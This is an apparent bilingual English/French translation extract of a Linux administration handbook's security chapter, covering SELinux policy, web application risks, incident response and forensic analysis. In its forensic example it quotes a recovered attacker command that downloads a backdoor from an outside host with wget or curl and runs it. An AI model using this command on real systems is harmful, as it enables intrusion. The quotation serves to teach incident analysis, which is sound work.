fr-FR: Si le module introduit de nouveaux types, il doit les déclarer avec des directives comme celle-ci. Il ne faut pas hésiter à créer autant de types que nécessaires, plutôt que distribuer trop de droits inutiles.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
fr-FR: Ces interfaces précisent que le type <literal>myapp_t</literal> est prévu pour être un domaine de processus et qu'il doit être employé pour tout exécutable étiqueté par <literal>myapp_exec_t</literal>. Implicitement, cela ajoute un attribut <literal>exec_type</literal> sur ces objets. Sa présence permet à d'autres modules de donner le droit d'exécuter ces programmes : ainsi, le module <literal>userdomain</literal> va permettre aux processus de domaine <literal>user_t</literal>, <literal>staff_t</literal> et <literal>sysadm_t</literal> de les exécuter. Les domaines d'autres applications confinées n'auront pas le droit de l'exécuter, sauf si les règles prévoient des droits similaires (c'est le cas par exemple pour <command>dpkg</command> avec le domaine <literal>dpkg_t</literal>).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
fr-FR: La directive <literal>allow</literal> est la directive de base qui permet d'autoriser une opération. Le premier paramètre est le domaine du processus qui sera autorisé à effectuer l'opération. Le second décrit l'objet qu'un processus du domaine aura le droit de manipuler. Ce paramètre prend la forme « <replaceable>type</replaceable>:<replaceable>genre</replaceable> » où <replaceable>type</replaceable> est son type SELinux et où <replaceable>genre</replaceable> décrit la nature de l'objet (fichier, répertoire, socket, fifo, etc.). Enfin, le dernier paramètre décrit les permissions (les opérations qui sont autorisées).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
fr-FR: Les permissions se définissent comme des ensembles d'opérations autorisées et prennent la forme <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. Il est également possible d'employer des macros qui correspondent aux ensembles de permissions les plus utiles. Le fichier <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> permet de les découvrir.

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
fr-FR: Il ne reste plus qu'à trouver l'ensemble minimal des règles nécessaires au bon fonctionnement du service ou de l'application ciblé(e) par le module. Pour cela, il est préférable de bien connaître le fonctionnement de l'application et d'avoir une idée claire des flux de données qu'elle gère et/ou génère.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
fr-FR: Toutefois, une approche empirique est possible. Une fois les différents objets impliqués correctement étiquetés, on peut utiliser l'application en mode permissif : les opérations normalement interdites sont tracées mais réussissent tout de même. Il suffit alors d'analyser ces traces pour identifier les opérations qu'il faut autoriser. Voici à quoi peut ressembler une de ces traces :

en: To better understand this message, let us study it piece by piece.
fr-FR: Pour mieux comprendre ce message, analysons-le bout par bout.

en: Analysis of an SELinux trace
fr-FR: Analyse d'une trace SELinux

en: An operation has been denied.
fr-FR: Une opération a été refusée.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
fr-FR: Cette opération requérait les permissions <literal>read</literal> et <literal>write</literal>.

en: The process with PID 1876 executed the operation (or tried to execute it).
fr-FR: Le processus ayant le PID 1876 a exécuté l'opération (ou essayé de l'exécuter).

en: The process was an instance of the <literal>syslogd</literal> program.
fr-FR: Le processus était une instance de la commande <literal>syslogd</literal>.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
fr-FR: L'objet visé s'appelait <literal>xconsole</literal>. Dans certains cas on peut aussi avoir une variable « path », avec un chemin d'accès complet.

en: The object is identified by the inode number 5510.
fr-FR: L'objet est identifié par le numéro d'inode 5510.

en: This is the security context of the process who executed the operation.
fr-FR: C'est le contexte de sécurité courant du processus qui a exécuté l'opération.

en: This is the security context of the target object.
fr-FR: C'est le contexte de sécurité de l'objet cible.

en: The target object is a FIFO file.
fr-FR: L'objet cible est un fichier FIFO.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
fr-FR: <emphasis>COMPLÉMENTS</emphasis> Pas de rôle dans les règles

en: <primary>Type Enforcement</primary>
fr-FR: <primary>type, application de types</primary>

en: <primary>Enforcement, Type Enforcement</primary>
fr-FR: <primary>application de types</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
fr-FR: On peut s'étonner que les rôles n'interviennent à aucun moment dans la création des règles. SELinux emploie uniquement les domaines pour savoir quelles opérations sont permises. Le rôle n'intervient qu'indirectement en permettant à l'utilisateur d'accéder à un autre domaine. SELinux en tant que tel est basé sur une théorie connue sous le nom de <foreignphrase>Type Enforcement</foreignphrase> (Application de types) et le type (ou domaine) est le seul élément qui compte dans l'attribution des droits.

en: Compiling the Files
fr-FR: Compilation des fichiers

en: Other Security-Related Considerations
fr-FR: Autres considérations sur la sécurité

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
fr-FR: La sécurité n'est pas un simple problème de technique. C'est avant tout de bonnes habitudes et une bonne compréhension des risques. Cette section propose donc une revue de certains risques fréquents, ainsi qu'une série de bonnes pratiques, qui, selon le cas, amélioreront la sécurité ou réduiront l'impact d'une attaque fructueuse.

en: Inherent Risks of Web Applications
fr-FR: Risques inhérents aux applications web

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
fr-FR: L'universalité des applications web a entraîné leur multiplication et il est fréquent d'en avoir plusieurs en service : un <foreignphrase>webmail</foreignphrase>, un wiki, un groupware, des forums, une galerie de photos, un blog, etc. Un grand nombre de ces applications s'appuient sur les technologies LAMP <foreignphrase>(Linux Apache Mysql PHP)</foreignphrase>. Malheureusement, beaucoup ont aussi été écrites sans faire trop attention aux problèmes de sécurité. Trop souvent, les données externes sont utilisées sans vérifications préalables et il est possible de subvertir l'appel d'une commande pour qu'il en résulte une autre, simplement en fournissant une valeur inattendue. Avec le temps, les problèmes les plus évidents ont été corrigés, mais de nouvelles failles de sécurité sont régulièrement découvertes.

en: <emphasis>VOCABULARY</emphasis> SQL injection
fr-FR: <emphasis>VOCABULAIRE</emphasis> Injection SQL

en: <primary>SQL injection</primary>
fr-FR: <primary>Injection SQL</primary>

en: Knowing What To Expect
fr-FR: Savoir à quoi s'attendre

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
fr-FR: Ainsi donc, la vulnérabilité d'une application web est un point de départ fréquent pour un acte de piraterie. Voyons quelles peuvent en être les conséquences.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
fr-FR: <emphasis>DÉCOUVERTE</emphasis> Filtrer les requêtes HTTP

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
fr-FR: Ces vérifications sont pénibles à mettre en place, mais elles s'avèrent assez efficaces si l'on est contraint de déployer une application web à la sécurité incertaine.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
fr-FR: <emphasis>mod-security2</emphasis> (paquet <emphasis role="pkg">libapache2-mod-security2</emphasis>) est le principal module qui peut être employé dans cette optique. Il est accompagné de nombreuses règles prêtes à l'emploi et simples à installer (dans le paquet <emphasis role="pkg">modsecurity-crs</emphasis> package).

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
fr-FR: Un pirate plus avancé ne se contentera pas de ce maigre résultat. Un scénario catastrophe pourrait se poursuivre comme suit : le pirate a obtenu la possibilité d'exécuter des commandes en tant qu'utilisateur <literal>www-data</literal>, mais cela requiert de nombreuses manipulations pour chaque commande. Il va chercher à se faciliter la vie en installant d'autres applications web précisément développées pour exécuter à distance toutes sortes de commandes : naviguer dans l'arborescence, analyser les droits, télécharger des fichiers, en déposer, exécuter des commandes et, le summum, mettre à disposition un interpréteur de commandes par le réseau. Très fréquemment, la faille lui permettra de lancer un <command>wget</command> qui va télécharger un programme malfaisant dans <filename>/tmp/</filename> et il l'exécutera dans la foulée. Le programme sera téléchargé depuis un serveur étranger qui, lui aussi, a été compromis, l'intérêt étant de brouiller les pistes si jamais l'on voulait remonter à l'origine de l'attaque.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
fr-FR: À ce stade, l'attaquant a tellement de liberté qu'il installe souvent un <foreignphrase>bot</foreignphrase> IRC (un robot qui se connecte à un serveur IRC et qui peut être commandé par ce biais). Il sert souvent à échanger des fichiers illégaux (films et logiciels piratés, etc.). Un pirate déterminé peut vouloir aller encore plus loin. Le compte <literal>www-data</literal> ne permet pas de profiter pleinement de la machine ; il va donc chercher à obtenir les privilèges de l'administrateur. C'est théoriquement impossible, mais si l'application web n'était pas à jour, il est probable que le noyau ou un autre programme ne le soit pas non plus. D'ailleurs, l'administrateur avait bien vu passer l'annonce d'une vulnérabilité, mais puisque cela n'était exploitable que localement et que le serveur n'avait pas d'utilisateur local, il n'a pas pris soin de mettre à jour. L'attaquant profite donc de cette deuxième faille pour obtenir un accès <literal>root</literal>.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
fr-FR: <emphasis>VOCABULAIRE</emphasis> Élévation des privilèges

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
fr-FR: Cette technique consiste à obtenir plus de droits qu'un utilisateur n'en a normalement. Le programme <command>sudo</command> est prévu pour cela : donner les droits d'administrateur à certains utilisateurs. On emploie aussi la même expression pour désigner l'action d'un pirate qui exploite une faille pour obtenir des droits qu'il ne possède pas. En anglais, l'expression est <foreignphrase>privilege escalation</foreignphrase>.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
fr-FR: Pour éviter d'en arriver là, il y a de nombreuses mesures à prendre. Les prochaines sections s'attacheront à en présenter quelques-unes.

en: Choosing the Software Wisely
fr-FR: Bien choisir les logiciels

en: <emphasis>VOCABULARY</emphasis> Security audit
fr-FR: <emphasis>VOCABULAIRE</emphasis> Audit de sécurité

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
fr-FR: Un audit de sécurité est une lecture et une analyse du code source afin de trouver toutes les failles de sécurité qu'il pourrait contenir. Un audit est souvent préventif ; il est réalisé pour s'assurer que le programme est conforme à certaines exigences de sécurité.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
fr-FR: <emphasis>VOCABULAIRE</emphasis> <foreignphrase>Zero day exploit</foreignphrase>

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
fr-FR: Une attaque de type <foreignphrase>zero day exploit</foreignphrase> est imparable. Il s'agit d'une attaque utilisant une faille qui n'est pas encore connue des auteurs du logiciel.

en: Managing a Machine as a Whole
fr-FR: Gérer une machine dans son ensemble

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
fr-FR: La plupart des distributions Linux installent en standard un certain nombre de services Unix ainsi que de nombreux utilitaires. Dans bien des cas, ils ne sont pas nécessaires au bon fonctionnement des services que l'administrateur met en place sur la machine. Comme bien souvent en sécurité, il vaut mieux supprimer tout ce qui n'est pas nécessaire. En effet, cela ne sert à rien de s'appuyer sur un serveur FTP sécurisé si une faille dans un service inutilisé fournit un accès administrateur à la machine.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
fr-FR: C'est la même logique qui incite à configurer un pare-feu n'autorisant l'accès qu'aux services qui doivent être accessibles au public.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
fr-FR: Les capacités des ordinateurs permettent facilement d'héberger plusieurs services sur une même machine. Ce choix se justifie économiquement : un seul ordinateur à administrer, moins d'énergie consommée, etc. Mais du point de vue de la sécurité, ce choix est plutôt gênant. La compromission d'un service entraîne souvent l'accès à la machine complète et donc aux données des autres services hébergés sur le même ordinateur. Pour limiter les risques de ce point de vue, il est intéressant d'isoler les différents services. Cela peut se faire soit avec de la virtualisation, chaque service étant hébergé sur une machine virtuelle ou un conteneur dédié, soit avec AppArmor/SELinux, en paramétrant les droits associés au démon (programme serveur) en charge de chaque service.

en: Users Are Players
fr-FR: Les utilisateurs sont des acteurs

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
fr-FR: Lorsqu'on parle de sécurité, on pense immédiatement à la protection contre les attaques des pirates anonymes qui se camouflent dans l'immensité d'Internet. On oublie trop souvent que les risques proviennent aussi de l'intérieur : un employé en instance de licenciement qui télécharge des dossiers sur les projets les plus importants et qui les propose à la concurrence, un commercial négligent qui reste connecté pendant qu'il s'absente alors qu'il reçoit un nouveau prospect, un utilisateur maladroit qui a supprimé le mauvais répertoire par erreur, etc.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
fr-FR: La réponse à ces problématiques passe parfois par de la technique : il ne faut pas donner plus que les accès nécessaires  et il convient d'avoir des sauvegardes régulières. Mais dans la plupart des cas, il s'agit avant tout de prévention en formant les utilisateurs afin qu'ils puissent mieux éviter les risques.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
fr-FR: <emphasis>DÉCOUVERTE</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
fr-FR: Le paquet <emphasis role="pkg">autolog</emphasis> fournit un logiciel déconnectant automatiquement les utilisateurs inactifs (après un délai configurable). Il tue aussi les processus utilisateurs qui persistent après la déconnexion de ces derniers (en les empêchant ainsi d'avoir leurs propres démons).

en: Physical Security
fr-FR: Sécurité physique

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
fr-FR: Il ne sert à rien de sécuriser l'ensemble de vos services si les ordinateurs sous-jacents ne sont pas eux-mêmes protégés. Il est probablement judicieux que les données les plus importantes soient stockées sur des disques en RAID que l'on peut remplacer à chaud, parce que justement on tient à garantir leur préservation malgré la faillibilité des disques. Mais il serait regrettable qu'un livreur de pizza puisse s'introduire dans le bâtiment et faire un saut dans la salle des serveurs pour emmener les quelques disques... Qui a accès à la salle des machines ? Y a-t-il une surveillance des accès ? Voilà quelques exemples de questions qu'il faut se poser lorsque l'on considère le problème de la sécurité physique.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
fr-FR: On peut aussi inclure sous cette bannière la prise en compte des risques d'accidents tels que les incendies. C'est ce risque qui justifie que les sauvegardes soient stockées dans un autre bâtiment ou du moins dans un coffre ignifugé.

en: Legal Liability
fr-FR: Responsabilité juridique

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
fr-FR: En tant qu'administrateur, vous bénéficiez, implicitement ou non, de la confiance des utilisateurs ainsi que des autres usagers du réseau. Évitez toute négligence dont des malfaisants sauraient profiter .

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
fr-FR: Vous souhaiterez alors étayer vos protestations d'innocence en produisant des éléments probants montrant l'activité douteuse menée sur votre système par des tiers employant une adresse IP donnée. Cela restera impossible si, imprudemment, vous négligez les recommandations de ce chapitre et laissez le pirate disposer facilement d'un compte privilégié (en particulier le compte <literal>root</literal>) grâce auquel il effacera ses propres traces.

en: Dealing with a Compromised Machine
fr-FR: En cas de piratage

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
fr-FR: Malgré toute la bonne volonté et tout le soin apporté à la politique de sécurité, tout administrateur informatique est tôt ou tard confronté à un acte de piratage. Cette section donne des lignes directrices pour bien réagir face à ces fâcheux événements.

en: Detecting and Seeing the Cracker's Intrusion
fr-FR: Détecter et constater le piratage

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
fr-FR: Avant de pouvoir agir face à un piratage, il faut se rendre compte que l'on est effectivement victime d'un tel acte. Ce n'est pas toujours le cas... surtout si l'on ne dispose pas d'une infrastructure de supervision adéquate.

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
fr-FR: Un programme installé dans <filename>/var/tmp/</filename> sous l'identité du serveur web ! Plus de doutes possibles, il y a eu piratage.

en: This is only one example, but many other hints can ring the administrator's bell:
fr-FR: Il s'agit là d'un simple exemple. De nombreux autres indices peuvent mettre en alerte un administrateur :

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
fr-FR: une option d'une commande qui ne fonctionne plus (il vérifie alors la version du logiciel et elle ne correspond pas à celle installée d'après <command>dpkg</command>) ;

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
fr-FR: une invite de connexion qui indique que la dernière connexion réussie est en provenance d'une machine roumaine ;

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
fr-FR: une partition <filename>/tmp/</filename> pleine (entraînant des erreurs) qui s'avère contenir des films pirates ;

en: and so on.
fr-FR: etc.

en: Putting the Server Off-Line
fr-FR: Mettre le serveur hors ligne

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
fr-FR: Dans l'immense majorité des cas, l'intrusion provient du réseau et la disponibilité du réseau est essentielle à l'attaquant pour atteindre ses objectifs (récupérer des données confidentielles, échanger des fichiers illégaux, masquer son identité en employant la machine comme relais intermédiaire…). Débrancher l'ordinateur du réseau empêchera l'attaquant d'arriver à ses fins au cas où il n'en aurait pas encore eu le temps.

en: Keeping Everything that Could Be Used as Evidence
fr-FR: Préserver tout ce qui peut constituer une preuve

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
fr-FR: Si l'on veut comprendre ce qui s'est passé et/ou si l'on veut pouvoir poursuivre les assaillants, il faut conserver une copie de tous les éléments importants : notamment le contenu du disque dur, la liste des processus en cours d'exécution et la liste des connexions ouvertes. Le contenu de la mémoire vive pourrait aussi être intéressant, mais il est assez rare que l'on exploite cette information.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
fr-FR: Le stress du moment incite souvent les administrateurs à vérifier beaucoup de choses sur l'ordinateur incriminé, mais c'est une très mauvaise idée. Chaque commande exécutée est susceptible d'effacer des éléments de preuve. Il faut se contenter du minimum (<command>netstat -tupan</command> pour les connexions réseau, <command>ps auxf</command> pour la liste des processus, <command>ls -alR /proc/[0-9]*</command> pour quelques informations supplémentaires sur les programmes en cours d'exécution) et noter systématiquement ce que l'on fait.

en: <emphasis>CAUTION</emphasis> Hot analysis
fr-FR: <emphasis>ATTENTION</emphasis> Analyse à chaud

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
fr-FR: Si malgré tout une telle analyse doit être conduite, il convient d'employer des programmes que l'on sait être corrects. Il est possible d'avoir un CD-Rom de secours contenant des programmes sains, voire un partage réseau (en lecture seule). Toutefois, si le noyau est compromis, mêmes ces mesures ne seront pas forcément suffisantes.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
fr-FR: Une fois sauvegardés les éléments « dynamiques » les plus importants, il faut réaliser une image fidèle du disque complet. Il est impossible de réaliser une telle image si le système de fichiers évolue encore. Il faut donc le remonter en lecture seule <foreignphrase>(read-only)</foreignphrase>. Le plus simple est souvent de stopper le serveur (brutalement, après un <command>sync</command>) et de le démarrer sur un CD-Rom de secours. Une image de chaque partition peut alors être réalisée à l'aide du programme <command>dd</command>. Ces images peuvent être stockées sur un autre serveur (l'utilitaire <command>nc</command> est alors très pratique pour envoyer les données générées par <command>dd</command> d'une machine à une autre). Une autre solution, beaucoup plus simple, est de sortir le disque de la machine et de le remplacer par un neuf prêt à être réinstallé.

en: Re-installing
fr-FR: Réinstaller

en: <primary>backdoor</primary>
fr-FR: <primary><foreignphrase>backdoor</foreignphrase></primary>

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
fr-FR: Avant de remettre le serveur en ligne, il est indispensable de le réinstaller complètement. En effet, si la compromission était sévère (obtention des privilèges administrateur), il est presque impossible d'être certain d'avoir éliminé tout ce que l'attaquant a pu laisser derrière lui (portes dérobées notamment, <foreignphrase>backdoors</foreignphrase> en anglais). Une réinstallation complète apportera cette certitude. Bien entendu, il faut également installer toutes les dernières mises à jour de sécurité afin de colmater la brèche que l'attaquant a réussi à exploiter. Idéalement, l'analyse de l'attaque aura mis en lumière la faille et il sera possible de la corriger avec certitude (au lieu de simplement espérer que les mises à jour de sécurité seront suffisantes).

en: Forensic Analysis
fr-FR: Analyser à froid

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
fr-FR: Maintenant que le service est à nouveau fonctionnel, il est temps de se pencher sur les images disque du système compromis afin de comprendre ce qui s'est passé. Lorsqu'on monte l'image du disque, il faut prendre soin d'employer les options <literal>ro, nodev, noexec, noatime</literal> afin de ne pas modifier son contenu (y compris les horodatages des accès aux fichiers) et de ne pas exécuter par erreur des exécutables compromis.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
fr-FR: Pour reconstituer efficacement le scénario d'une attaque, il faut chercher tous azimuts ce qui a été modifié et exécuté :

en: <filename>.bash_history</filename> files often provide for a very interesting read;
fr-FR: L'analyse d'éventuels fichiers <filename>.bash_history</filename> est souvent très instructive;

en: so does listing files that were recently created, modified or accessed;
fr-FR: Il faut extraire la liste des fichiers récemment créés, modifiés et consultés;

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
fr-FR: L'identification des programmes installés par l'attaquant est souvent possible à l'aide de la commande <command>strings</command> qui extrait les chaînes de caractères présentes dans un binaire;

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
fr-FR: L'analyse des fichiers de traces de <filename>/var/log/</filename> fournit souvent une chronologie;

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
fr-FR: Enfin, des outils spécialisés permettent de récupérer le contenu de potentiels fichiers supprimés (notamment les fichiers de traces que les attaquants aiment à supprimer).

en: Reconstituting the Attack Scenario
fr-FR: Reconstituer le scénario de l'attaque

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
fr-FR: Tous les éléments récoltés au cours de l'analyse doivent pouvoir s'emboîter comme dans un puzzle : la date de création des premiers fichiers suspects correspond souvent à des traces prouvant l'intrusion. Un petit exemple réel sera plus parlant qu'un long discours théorique.

en: The following log is an extract from an Apache <filename>access.log</filename>:
fr-FR: La trace ci-dessous, extraite d'un fichier <filename>access.log</filename> de Apache, en est un exemple :

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
fr-FR: En décodant cette longue URL, il est possible de comprendre que l'attaquant a exécuté la commande PHP <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Effectivement, un fichier <filename>bd</filename> est disponible dans <filename>/tmp/</filename>. L'exécution de <command>strings /mnt/tmp/bd</command> renvoie entre autres <literal>PsychoPhobia Backdoor is starting...</literal>. Il s'agit donc d'une porte dérobée.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
fr-FR: Peu de temps après, cet accès a été utilisé pour télécharger et installer un <foreignphrase>bot</foreignphrase> IRC qui s'est connecté à un réseau IRC <foreignphrase>underground</foreignphrase>. Il peut être contrôlé par le biais de ce protocole, notamment pour télécharger des fichiers puis les mettre à disposition. Ce logiciel dispose de son propre fichier de trace :

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
fr-FR: Deux fichiers vidéo ont été déposés sur le serveur par l'intermédiaire de la machine 82.50.72.202.

